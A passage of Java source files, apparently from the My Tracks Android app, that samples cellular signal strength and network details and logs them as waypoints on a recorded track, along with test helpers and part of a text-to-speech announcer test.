* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.START_SAMPLING;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.STOP_SAMPLING;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.TAG;
import com.google.android.apps.mytracks.content.WaypointCreationRequest;
import com.google.android.apps.mytracks.services.ITrackRecordingService;
import com.google.android.apps.mytracks.signalstrength.SignalStrengthListener.SignalStrengthCallback;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.os.IBinder;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.util.Log;
import android.widget.Toast;
import java.util.List;
/**
* Serivce which actually reads signal strength and sends it to My Tracks.
*
* @author Rodrigo Damazio
*/
public class SignalStrengthService extends Service
implements ServiceConnection, SignalStrengthCallback, OnSharedPreferenceChangeListener {
private ComponentName mytracksServiceComponent;
private SharedPreferences preferences;
private SignalStrengthListenerFactory signalListenerFactory;
private SignalStrengthListener signalListener;
private ITrackRecordingService mytracksService;
private long lastSamplingTime;
private long samplingPeriod;
@Override
public void onCreate() {
super.onCreate();
mytracksServiceComponent = new ComponentName(
getString(R.string.mytracks_service_package),
getString(R.string.mytracks_service_class));
preferences = PreferenceManager.getDefaultSharedPreferences(this);
signalListenerFactory = new SignalStrengthListenerFactory();
}
@Override
public void onStart(Intent intent, int startId) {
handleCommand(intent);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
handleCommand(intent);
return START_STICKY;
}
private void handleCommand(Intent intent) {
String action = intent.getAction();
if (START_SAMPLING.equals(action)) {
startSampling();
} else {
stopSampling();
}
}
private void startSampling() {
// TODO: Start foreground
if (!isMytracksRunning()) {
Log.w(TAG, "My Tracks not running!");
return;
}
Log.d(TAG, "Starting sampling");
Intent intent = new Intent();
intent.setComponent(mytracksServiceComponent);
if (!bindService(intent, SignalStrengthService.this, 0)) {
Log.e(TAG, "Couldn't bind to service.");
return;
}
}
private boolean isMytracksRunning() {
ActivityManager activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
List<RunningServiceInfo> services = activityManager.getRunningServices(Integer.MAX_VALUE);
for (RunningServiceInfo serviceInfo : services) {
if (serviceInfo.pid != 0 &&
serviceInfo.service.equals(mytracksServiceComponent)) {
return true;
}
}
return false;
}
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
synchronized (this) {
mytracksService = ITrackRecordingService.Stub.asInterface(service);
Log.d(TAG, "Bound to My Tracks");
boolean recording = false;
try {
recording = mytracksService.isRecording();
} catch (RemoteException e) {
Log.e(TAG, "Failed to talk to my tracks", e);
}
if (!recording) {
Log.w(TAG, "My Tracks is not recording, bailing");
stopSampling();
return;
}
// We're ready to send waypoints, so register for signal sampling
signalListener = signalListenerFactory.create(this, this);
signalListener.register();
// Register for preference changes
samplingPeriod = Long.parseLong(preferences.getString(
getString(R.string.settings_min_signal_sampling_period_key), "-1"));
preferences.registerOnSharedPreferenceChangeListener(this);
// Tell the user we've started.
Toast.makeText(this, R.string.started_sampling, Toast.LENGTH_SHORT).show();
}
}
@Override
public void onSignalStrengthSampled(String description, String icon) {
long now = System.currentTimeMillis();
if (now - lastSamplingTime < samplingPeriod * 60 * 1000) {
return;
}
try {
long waypointId;
synchronized (this) {
if (mytracksService == null) {
Log.d(TAG, "No my tracks service to send to");
return;
}
// Create a waypoint.
WaypointCreationRequest request =
new WaypointCreationRequest(WaypointCreationRequest.WaypointType.MARKER,
"Signal Strength", description, icon);
waypointId = mytracksService.insertWaypoint(request);
}
if (waypointId >= 0) {
Log.d(TAG, "Added signal marker");
lastSamplingTime = now;
} else {
Log.e(TAG, "Cannot insert waypoint marker?");
}
} catch (RemoteException e) {
Log.e(TAG, "Cannot talk to my tracks service", e);
}
}
private void stopSampling() {
Log.d(TAG, "Stopping sampling");
synchronized (this) {
// Unregister from preference change updates
preferences.unregisterOnSharedPreferenceChangeListener(this);
// Unregister from receiving signal updates
if (signalListener != null) {
signalListener.unregister();
signalListener = null;
}
// Unbind from My Tracks
if (mytracksService != null) {
unbindService(this);
mytracksService = null;
}
// Reset the last sampling time
lastSamplingTime = 0;
// Tell the user we've stopped
Toast.makeText(this, R.string.stopped_sampling, Toast.LENGTH_SHORT).show();
// Stop
stopSelf();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
Log.i(TAG, "Disconnected from My Tracks");
synchronized (this) {
mytracksService = null;
}
}
@Override
public void onDestroy() {
stopSampling();
super.onDestroy();
}
@Override
public void onSharedPreferenceChanged(
SharedPreferences sharedPreferences, String key) {
if (getString(R.string.settings_min_signal_sampling_period_key).equals(key)) {
samplingPeriod = Long.parseLong(sharedPreferences.getString(key, "-1"));
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
public static void startService(Context context) {
Intent intent = new Intent();
intent.setClass(context, SignalStrengthService.class);
intent.setAction(START_SAMPLING);
context.startService(intent);
}
public static void stopService(Context context) {
Intent intent = new Intent();
intent.setClass(context, SignalStrengthService.class);
intent.setAction(STOP_SAMPLING);
context.startService(intent);
}
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthService.java | Java | asf20 | 7,870 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
/**
* Interface for the service that reads signal strength.
*
* @author Rodrigo Damazio
*/
public interface SignalStrengthListener {
/**
* Interface for getting notified about a new sampled signal strength.
*/
public interface SignalStrengthCallback {
void onSignalStrengthSampled(
String description,
String icon);
}
/**
* Starts listening to signal strength.
*/
void register();
/**
* Stops listening to signal strength.
*/
void unregister();
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthListener.java | Java | asf20 | 1,157 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import android.os.Build;
/**
* Constants for the signal sampler.
*
* @author Rodrigo Damazio
*/
public class SignalStrengthConstants {
public static final String START_SAMPLING =
"com.google.android.apps.mytracks.signalstrength.START";
public static final String STOP_SAMPLING =
"com.google.android.apps.mytracks.signalstrength.STOP";
public static final int ANDROID_API_LEVEL = Integer.parseInt(
Build.VERSION.SDK);
public static final String TAG = "SignalStrengthSampler";
private SignalStrengthConstants() {}
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthConstants.java | Java | asf20 | 1,200 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.*;
import android.content.Context;
import android.telephony.PhoneStateListener;
import android.telephony.SignalStrength;
import android.telephony.TelephonyManager;
import android.util.Log;
/**
* A class to monitor the network signal strength.
*
* TODO: i18n
*
* @author Sandor Dornbush
*/
public class SignalStrengthListenerEclair extends SignalStrengthListenerCupcake {
private SignalStrength signalStrength = null;
public SignalStrengthListenerEclair(Context ctx, SignalStrengthCallback callback) {
super(ctx, callback);
}
@Override
protected int getListenEvents() {
return PhoneStateListener.LISTEN_SIGNAL_STRENGTHS;
}
@SuppressWarnings("hiding")
@Override
public void onSignalStrengthsChanged(SignalStrength signalStrength) {
Log.d(TAG, "Signal Strength Modern: " + signalStrength);
this.signalStrength = signalStrength;
notifySignalSampled();
}
/**
* Gets a human readable description for the network type.
*
* @param type The integer constant for the network type
* @return A human readable description of the network type
*/
@Override
protected String getTypeAsString(int type) {
switch (type) {
case TelephonyManager.NETWORK_TYPE_1xRTT:
return "1xRTT";
case TelephonyManager.NETWORK_TYPE_CDMA:
return "CDMA";
case TelephonyManager.NETWORK_TYPE_EDGE:
return "EDGE";
case TelephonyManager.NETWORK_TYPE_EVDO_0:
return "EVDO 0";
case TelephonyManager.NETWORK_TYPE_EVDO_A:
return "EVDO A";
case TelephonyManager.NETWORK_TYPE_GPRS:
return "GPRS";
case TelephonyManager.NETWORK_TYPE_HSDPA:
return "HSDPA";
case TelephonyManager.NETWORK_TYPE_HSPA:
return "HSPA";
case TelephonyManager.NETWORK_TYPE_HSUPA:
return "HSUPA";
case TelephonyManager.NETWORK_TYPE_UMTS:
return "UMTS";
case TelephonyManager.NETWORK_TYPE_UNKNOWN:
default:
return "UNKNOWN";
}
}
/**
* Gets the url for the waypoint icon for the current network type.
*
* @param type The network type
* @return A url to a image to use as the waypoint icon
*/
@Override
protected String getIcon(int type) {
switch (type) {
case TelephonyManager.NETWORK_TYPE_1xRTT:
case TelephonyManager.NETWORK_TYPE_CDMA:
case TelephonyManager.NETWORK_TYPE_GPRS:
case TelephonyManager.NETWORK_TYPE_EDGE:
return "http://maps.google.com/mapfiles/ms/micons/green.png";
case TelephonyManager.NETWORK_TYPE_EVDO_0:
case TelephonyManager.NETWORK_TYPE_EVDO_A:
case TelephonyManager.NETWORK_TYPE_HSDPA:
case TelephonyManager.NETWORK_TYPE_HSPA:
case TelephonyManager.NETWORK_TYPE_HSUPA:
case TelephonyManager.NETWORK_TYPE_UMTS:
return "http://maps.google.com/mapfiles/ms/micons/blue.png";
case TelephonyManager.NETWORK_TYPE_UNKNOWN:
default:
return "http://maps.google.com/mapfiles/ms/micons/red.png";
}
}
@Override
public String getStrengthAsString() {
if (signalStrength == null) {
return "Strength: " + getContext().getString(R.string.unknown) + "\n";
}
StringBuffer sb = new StringBuffer();
if (signalStrength.isGsm()) {
appendSignal(signalStrength.getGsmSignalStrength(),
R.string.gsm_strength,
sb);
maybeAppendSignal(signalStrength.getGsmBitErrorRate(),
R.string.error_rate,
sb);
} else {
appendSignal(signalStrength.getCdmaDbm(), R.string.cdma_strength, sb);
appendSignal(signalStrength.getCdmaEcio() / 10.0, R.string.ecio, sb);
appendSignal(signalStrength.getEvdoDbm(), R.string.evdo_strength, sb);
appendSignal(signalStrength.getEvdoEcio() / 10.0, R.string.ecio, sb);
appendSignal(signalStrength.getEvdoSnr(),
R.string.signal_to_noise_ratio,
sb);
}
return sb.toString();
}
private void maybeAppendSignal(
int signal, int signalFormat, StringBuffer sb) {
if (signal > 0) {
sb.append(getContext().getString(signalFormat, signal));
}
}
private void appendSignal(int signal, int signalFormat, StringBuffer sb) {
sb.append(getContext().getString(signalFormat, signal));
sb.append("\n");
}
private void appendSignal(double signal, int signalFormat, StringBuffer sb) {
sb.append(getContext().getString(signalFormat, signal));
sb.append("\n");
}
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthListenerEclair.java | Java | asf20 | 5,243 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.*;
import com.google.android.apps.mytracks.signalstrength.SignalStrengthListener.SignalStrengthCallback;
import android.content.Context;
import android.util.Log;
/**
* Factory for producing a proper {@link SignalStrengthListenerCupcake} according to the
* current API level.
*
* @author Rodrigo Damazio
*/
public class SignalStrengthListenerFactory {
public SignalStrengthListener create(Context context, SignalStrengthCallback callback) {
if (hasModernSignalStrength()) {
Log.d(TAG, "TrackRecordingService using modern signal strength api.");
return new SignalStrengthListenerEclair(context, callback);
} else {
Log.w(TAG, "TrackRecordingService using legacy signal strength api.");
return new SignalStrengthListenerCupcake(context, callback);
}
}
// @VisibleForTesting
protected boolean hasModernSignalStrength() {
return ANDROID_API_LEVEL >= 7;
}
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthListenerFactory.java | Java | asf20 | 1,650 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.*;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.util.Log;
/**
* Broadcast listener which gets notified when we start or stop recording a track.
*
* @author Rodrigo Damazio
*/
public class RecordingStateReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ctx, Intent intent) {
SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(ctx);
String action = intent.getAction();
if (ctx.getString(R.string.track_started_broadcast_action).equals(action)) {
boolean autoStart = preferences.getBoolean(
ctx.getString(R.string.settings_auto_start_key), false);
if (!autoStart) {
Log.d(TAG, "Not auto-starting signal sampling");
return;
}
startService(ctx);
} else if (ctx.getString(R.string.track_stopped_broadcast_action).equals(action)) {
boolean autoStop = preferences.getBoolean(
ctx.getString(R.string.settings_auto_stop_key), true);
if (!autoStop) {
Log.d(TAG, "Not auto-stopping signal sampling");
return;
}
stopService(ctx);
} else {
Log.e(TAG, "Unknown action received: " + action);
}
}
// @VisibleForTesting
protected void stopService(Context ctx) {
SignalStrengthService.stopService(ctx);
}
// @VisibleForTesting
protected void startService(Context ctx) {
SignalStrengthService.startService(ctx);
}
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/RecordingStateReceiver.java | Java | asf20 | 2,316 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import android.os.Bundle;
import android.preference.Preference;
import android.preference.Preference.OnPreferenceClickListener;
import android.preference.PreferenceActivity;
/**
* Main signal strength sampler activity, which displays preferences.
*
* @author Rodrigo Damazio
*/
public class SignalStrengthPreferences extends PreferenceActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
addPreferencesFromResource(R.xml.preferences);
// Attach service control funciontality
findPreference(getString(R.string.settings_control_start_key))
.setOnPreferenceClickListener(new OnPreferenceClickListener() {
@Override
public boolean onPreferenceClick(Preference preference) {
SignalStrengthService.startService(SignalStrengthPreferences.this);
return true;
}
});
findPreference(getString(R.string.settings_control_stop_key))
.setOnPreferenceClickListener(new OnPreferenceClickListener() {
@Override
public boolean onPreferenceClick(Preference preference) {
SignalStrengthService.stopService(SignalStrengthPreferences.this);
return true;
}
});
// TODO: Check that my tracks is installed - if not, give a warning and
// offer to go to the android market.
}
} | 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthPreferences.java | Java | asf20 | 2,044 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.signalstrength;
import static com.google.android.apps.mytracks.signalstrength.SignalStrengthConstants.TAG;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.telephony.CellLocation;
import android.telephony.NeighboringCellInfo;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.util.List;
/**
* A class to monitor the network signal strength.
*
* TODO: i18n
*
* @author Sandor Dornbush
*/
public class SignalStrengthListenerCupcake extends PhoneStateListener
implements SignalStrengthListener {
private static final Uri APN_URI = Uri.parse("content://telephony/carriers");
private final Context context;
private final SignalStrengthCallback callback;
private TelephonyManager manager;
private int signalStrength = -1;
public SignalStrengthListenerCupcake(Context context, SignalStrengthCallback callback) {
this.context = context;
this.callback = callback;
}
@Override
public void register() {
manager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
if (manager == null) {
Log.e(TAG, "Cannot get telephony manager.");
} else {
manager.listen(this, getListenEvents());
}
}
protected int getListenEvents() {
return PhoneStateListener.LISTEN_SIGNAL_STRENGTH;
}
@SuppressWarnings("hiding")
@Override
public void onSignalStrengthChanged(int signalStrength) {
Log.d(TAG, "Signal Strength: " + signalStrength);
this.signalStrength = signalStrength;
notifySignalSampled();
}
protected void notifySignalSampled() {
int networkType = manager.getNetworkType();
callback.onSignalStrengthSampled(getDescription(), getIcon(networkType));
}
/**
* Gets a human readable description for the network type.
*
* @param type The integer constant for the network type
* @return A human readable description of the network type
*/
protected String getTypeAsString(int type) {
switch (type) {
case TelephonyManager.NETWORK_TYPE_EDGE:
return "EDGE";
case TelephonyManager.NETWORK_TYPE_GPRS:
return "GPRS";
case TelephonyManager.NETWORK_TYPE_UMTS:
return "UMTS";
case TelephonyManager.NETWORK_TYPE_UNKNOWN:
default:
return "UNKNOWN";
}
}
/**
* Builds a description for the current signal strength.
*
* @return A human readable description of the network state
*/
private String getDescription() {
StringBuilder sb = new StringBuilder();
sb.append(getStrengthAsString());
sb.append("Network Type: ");
sb.append(getTypeAsString(manager.getNetworkType()));
sb.append('\n');
sb.append("Operator: ");
sb.append(manager.getNetworkOperatorName());
sb.append(" / ");
sb.append(manager.getNetworkOperator());
sb.append('\n');
sb.append("Roaming: ");
sb.append(manager.isNetworkRoaming());
sb.append('\n');
appendCurrentApns(sb);
List<NeighboringCellInfo> infos = manager.getNeighboringCellInfo();
Log.i(TAG, "Found " + infos.size() + " cells.");
if (infos.size() > 0) {
sb.append("Neighbors: ");
for (NeighboringCellInfo info : infos) {
sb.append(info.toString());
sb.append(' ');
}
sb.append('\n');
}
CellLocation cell = manager.getCellLocation();
if (cell != null) {
sb.append("Cell: ");
sb.append(cell.toString());
sb.append('\n');
}
return sb.toString();
}
private void appendCurrentApns(StringBuilder output) {
ContentResolver contentResolver = context.getContentResolver();
Cursor cursor = contentResolver.query(
APN_URI, new String[] { "name", "apn" }, "current=1", null, null);
if (cursor == null) {
return;
}
try {
String name = null;
String apn = null;
while (cursor.moveToNext()) {
int nameIdx = cursor.getColumnIndex("name");
int apnIdx = cursor.getColumnIndex("apn");
if (apnIdx < 0 || nameIdx < 0) {
continue;
}
name = cursor.getString(nameIdx);
apn = cursor.getString(apnIdx);
output.append("APN: ");
if (name != null) {
output.append(name);
}
if (apn != null) {
output.append(" (");
output.append(apn);
output.append(")\n");
}
}
} finally {
cursor.close();
}
}
/**
* Gets the url for the waypoint icon for the current network type.
*
* @param type The network type
* @return A url to a image to use as the waypoint icon
*/
protected String getIcon(int type) {
switch (type) {
case TelephonyManager.NETWORK_TYPE_GPRS:
case TelephonyManager.NETWORK_TYPE_EDGE:
return "http://maps.google.com/mapfiles/ms/micons/green.png";
case TelephonyManager.NETWORK_TYPE_UMTS:
return "http://maps.google.com/mapfiles/ms/micons/blue.png";
case TelephonyManager.NETWORK_TYPE_UNKNOWN:
default:
return "http://maps.google.com/mapfiles/ms/micons/red.png";
}
}
@Override
public void unregister() {
if (manager != null) {
manager.listen(this, PhoneStateListener.LISTEN_NONE);
manager = null;
}
}
public String getStrengthAsString() {
return "Strength: " + signalStrength + "\n";
}
protected Context getContext() {
return context;
}
public SignalStrengthCallback getSignalStrengthCallback() {
return callback;
}
}
| 0359xiaodong-mytracks | SignalStrengthSampler/src/com/google/android/apps/mytracks/signalstrength/SignalStrengthListenerCupcake.java | Java | asf20 | 6,236 |
/*
* Copyright 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks;
import com.google.android.maps.MapView;
import com.google.android.maps.Projection;
import android.content.Context;
import android.graphics.Rect;
/**
* Elements for Tests for the MyTracks map overlay.
*
* @author Bartlomiej Niechwiej
* @author Vangelis S.
*
* A mock version of {@code MapOverlay} that does not use
* {@class MapView}.
*/
public class MockMyTracksOverlay extends MapOverlay {
private Projection mockProjection;
public MockMyTracksOverlay(Context context) {
super(context);
mockProjection = new MockProjection();
}
@Override
public Projection getMapProjection(MapView mapView) {
return mockProjection;
}
@Override
public Rect getMapViewRect(MapView mapView) {
return new Rect(0, 0, 100, 100);
}
} | 0359xiaodong-mytracks | MyTracksTest/src/com/google/android/apps/mytracks/MockMyTracksOverlay.java | Java | asf20 | 1,404 |
// Copyright 2010 Google Inc. All Rights Reserved.
package com.google.android.apps.mytracks.testing;
import com.google.android.apps.mytracks.content.MyTracksProviderUtils;
import com.google.android.apps.mytracks.content.MyTracksProviderUtils.Factory;
import android.content.Context;
/**
* A fake factory for {@link MyTracksProviderUtils} which always returns a
* predefined instance.
*
* @author Rodrigo Damazio
*/
public class TestingProviderUtilsFactory extends Factory {
private MyTracksProviderUtils instance;
public TestingProviderUtilsFactory(MyTracksProviderUtils instance) {
this.instance = instance;
}
@Override
protected MyTracksProviderUtils newForContext(Context context) {
return instance;
}
public static Factory installWithInstance(MyTracksProviderUtils instance) {
Factory oldFactory = Factory.getInstance();
Factory factory = new TestingProviderUtilsFactory(instance);
MyTracksProviderUtils.Factory.overrideInstance(factory);
return oldFactory;
}
public static void restoreOldFactory(Factory factory) {
MyTracksProviderUtils.Factory.overrideInstance(factory);
}
}
| 0359xiaodong-mytracks | MyTracksTest/src/com/google/android/apps/mytracks/testing/TestingProviderUtilsFactory.java | Java | asf20 | 1,142 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.services.tasks;
import static com.google.android.testing.mocking.AndroidMock.capture;
import static com.google.android.testing.mocking.AndroidMock.eq;
import static com.google.android.testing.mocking.AndroidMock.expect;
import static com.google.android.testing.mocking.AndroidMock.same;
import com.google.android.apps.mytracks.stats.TripStatistics;
import com.google.android.apps.mytracks.util.StringUtils;
import com.google.android.testing.mocking.AndroidMock;
import com.google.android.testing.mocking.UsesMocks;
import android.content.Context;
import android.speech.tts.TextToSpeech;
import android.speech.tts.TextToSpeech.OnInitListener;
import android.speech.tts.TextToSpeech.OnUtteranceCompletedListener;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.test.AndroidTestCase;
import java.util.HashMap;
import java.util.Locale;
import java.util.concurrent.atomic.AtomicBoolean;
import org.easymock.Capture;
/**
* Tests for {@link StatusAnnouncerTask}.
* WARNING: I'm not responsible if your eyes start bleeding while reading this
* code. You have been warned. It's still better than no test, though.
*
* @author Rodrigo Damazio
*/
public class StatusAnnouncerTaskTest extends AndroidTestCase {
// Use something other than our hardcoded value
private static final Locale DEFAULT_LOCALE = Locale.KOREAN;
private static final String ANNOUNCEMENT = "I can haz cheeseburger?";
private Locale oldDefaultLocale;
private StatusAnnouncerTask task;
private StatusAnnouncerTask mockTask;
private Capture<OnInitListener> initListenerCapture;
private Capture<PhoneStateListener> phoneListenerCapture;
private TextToSpeechDelegate ttsDelegate;
private TextToSpeechInterface tts;
/**
* Mockable interface that we delegate TTS calls to.
*/
interface TextToSpeechInterface {
int addEarcon(String earcon, String packagename, int resourceId);
int addEarcon(String earcon, String filename);
int addSpeech(String text, String packagename, int resourceId);
int addSpeech(String text, String filename);
boolean areDefaultsEnforced();
String getDefaultEngine();
Locale getLanguage();
int isLanguageAvailable(Locale loc);
boolean isSpeaking();
int playEarcon(String earcon, int queueMode,
HashMap<String, String> params);
int playSilence(long durationInMs, int queueMode,
HashMap<String, String> params);
int setEngineByPackageName(String enginePackageName);
int setLanguage(Locale loc);
int setOnUtteranceCompletedListener(OnUtteranceCompletedListener listener);
int setPitch(float pitch);
int setSpeechRate(float speechRate);
void shutdown();
int speak(String text, int queueMode, HashMap<String, String> params);
int stop();
int synthesizeToFile(String text, HashMap<String, String> params,
String filename);
}
/**
* Subclass of {@link TextToSpeech} which delegates calls to the interface
* above.
* The logic here is stupid and the author is ashamed of having to write it
* like this, but basically the issue is that TextToSpeech cannot be mocked
* without running its constructor, its constructor runs async operations
* which call other methods (and then if the methods are part of a mock we'd
* have to set a behavior, but we can't 'cause the object hasn't been fully
* built yet).
* The logic is that calls made during the constructor (when tts is not yet
* set) will go up to the original class, but after tts is set we'll forward
* them all to the mock.
*/
private class TextToSpeechDelegate
extends TextToSpeech implements TextToSpeechInterface {
public TextToSpeechDelegate(Context context, OnInitListener listener) {
super(context, listener);
}
@Override
public int addEarcon(String earcon, String packagename, int resourceId) {
if (tts == null) {
return super.addEarcon(earcon, packagename, resourceId);
}
return tts.addEarcon(earcon, packagename, resourceId);
}
@Override
public int addEarcon(String earcon, String filename) {
if (tts == null) {
return super.addEarcon(earcon, filename);
}
return tts.addEarcon(earcon, filename);
}
@Override
public int addSpeech(String text, String packagename, int resourceId) {
if (tts == null) {
return super.addSpeech(text, packagename, resourceId);
}
return tts.addSpeech(text, packagename, resourceId);
}
@Override
public int addSpeech(String text, String filename) {
if (tts == null) {
return super.addSpeech(text, filename);
}
return tts.addSpeech(text, filename);
}
@Override
public Locale getLanguage() {
if (tts == null) {
return super.getLanguage();
}
return tts.getLanguage();
}
@Override
public int isLanguageAvailable(Locale loc) {
if (tts == null) {
return super.isLanguageAvailable(loc);
}
return tts.isLanguageAvailable(loc);
}
@Override
public boolean isSpeaking() {
if (tts == null) {
return super.isSpeaking();
}
return tts.isSpeaking();
}
@Override
public int playEarcon(String earcon, int queueMode,
HashMap<String, String> params) {
if (tts == null) {
return super.playEarcon(earcon, queueMode, params);
}
return tts.playEarcon(earcon, queueMode, params);
}
@Override
public int playSilence(long durationInMs, int queueMode,
HashMap<String, String> params) {
if (tts == null) {
return super.playSilence(durationInMs, queueMode, params);
}
return tts.playSilence(durationInMs, queueMode, params);
}
@Override
public int setLanguage(Locale loc) {
if (tts == null) {
return super.setLanguage(loc);
}
return tts.setLanguage(loc);
}
@Override
public int setOnUtteranceCompletedListener(
OnUtteranceCompletedListener listener) {
if (tts == null) {
return super.setOnUtteranceCompletedListener(listener);
}
return tts.setOnUtteranceCompletedListener(listener);
}
@Override
public int setPitch(float pitch) {
if (tts == null) {
return super.setPitch(pitch);
}
return tts.setPitch(pitch);
}
@Override
public int setSpeechRate(float speechRate) {
if (tts == null) {
return super.setSpeechRate(speechRate);
}
return tts.setSpeechRate(speechRate);
}
@Override
public void shutdown() {
if (tts == null) {
super.shutdown();
return;
}
tts.shutdown();
}
@Override
public int speak(
String text, int queueMode, HashMap<String, String> params) {
if (tts == null) {
return super.speak(text, queueMode, params);
}
return tts.speak(text, queueMode, params);
}
@Override
public int stop() {
if (tts == null) {
return super.stop();
}
return tts.stop();
}
@Override
public int synthesizeToFile(String text, HashMap<String, String> params,
String filename) {
if (tts == null) {
return super.synthesizeToFile(text, params, filename);
}
return tts.synthesizeToFile(text, params, filename);
}
}
@UsesMocks({
StatusAnnouncerTask.class,
StringUtils.class,
})
@Override
protected void setUp() throws Exception {
super.setUp();
oldDefaultLocale = Locale.getDefault();
Locale.setDefault(DEFAULT_LOCALE);
